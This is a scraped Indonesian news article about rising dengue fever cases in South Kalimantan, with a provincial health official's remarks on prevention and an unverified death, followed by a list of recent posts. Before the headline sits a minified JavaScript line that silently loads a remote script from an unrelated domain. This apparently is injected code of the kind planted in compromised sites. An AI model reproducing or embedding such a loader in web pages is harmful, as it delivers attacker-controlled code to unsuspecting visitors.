(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tiga Banjar Sumbang Kasus DBD Terbanyak, Dinkes Kalsel: Sudah Ada Korban Meninggal Dunia


KANALKALIMANTAN.COM, MARTAPURA – Kasus Demam Berdarah Dengue (DBD) di Kalimantan Selatan (Kalsel) mengalami perkembangan yang bervariasi di setiap kabupaten/kota, kasus DBD di Kalsel terpantau mengalami peningkatan.

Dinas Kesehatan (Dinkes) Kalsel menyebut ada beberapa wilayah yang mengalami angka kasus tertinggi, salah satunya daerah Kabupaten Banjar.

Terhitung pada bulan Januari 2023 kasus DBD di Kalsel melebihi dari 100 kasus aktif, dengan Kota Banjarmasin, Banjarbaru dan Kabupaten Banjar yang mendominasi.

Kepala Dinkes Kalsel, dr Diauddin mengatakan per Januari 2023 kasus DBD di Kalsel mengalami penurunan ketimbang di Desember 2022 lalu, walau mengalami penurunan kasus DBD di Kalsel masih ada dengan angka yang fluktuatif setiap kabupaten/kota.

 

Baca juga: Relawan Kelas Inspirasi Banjarmasin Berbagi Cerita di Lima Sekolah Dasar

“Itu (DBD) masih menjadi perhatian di seluruh kabupaten kota,” ujarnya.

Dikatakan dr Dia, dalam menanggulangi DBD di Kalsel perlu kolaborasi bersama baik pemerintah maupun masyarakat, guna membuat lingkungan bersih dan bebas dari jentik yang berkembang biak di lingkungan.

“DBD ini penanggulangannya harus dengan masyarakat,” katanya.

Kadinkes Provinsi Kalsel dr Diaduddin. Foto: Ibnu

Diungkapkan dr Dia, daerah yang tiap tahunnya didapati kasus paling tinggi dari daerah Kabupaten Banjar, Kota Banjarbaru dan Kota Banjarmasin.

Baca juga: Pembentukan Bumdes Bersama Dilakukan Bertahap, Ini Kata Kadis PMD Kapuas

“DBD ini penanggulangannya lebih pada pencegahaan perkembangbiakan jentik nyamuk,” sebutnya.

Bahkan, lanjut mantan Kadinkes Kabupaten Banjar ini, diakuinya hingga saat ini sudah ada beberapa korban yang dikabarkan meninggal karena kasus DBD ini.

“Kabarnya ada di Banjarmasin Januari tadi, tapi kami belum verifikasi ke lapangan,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.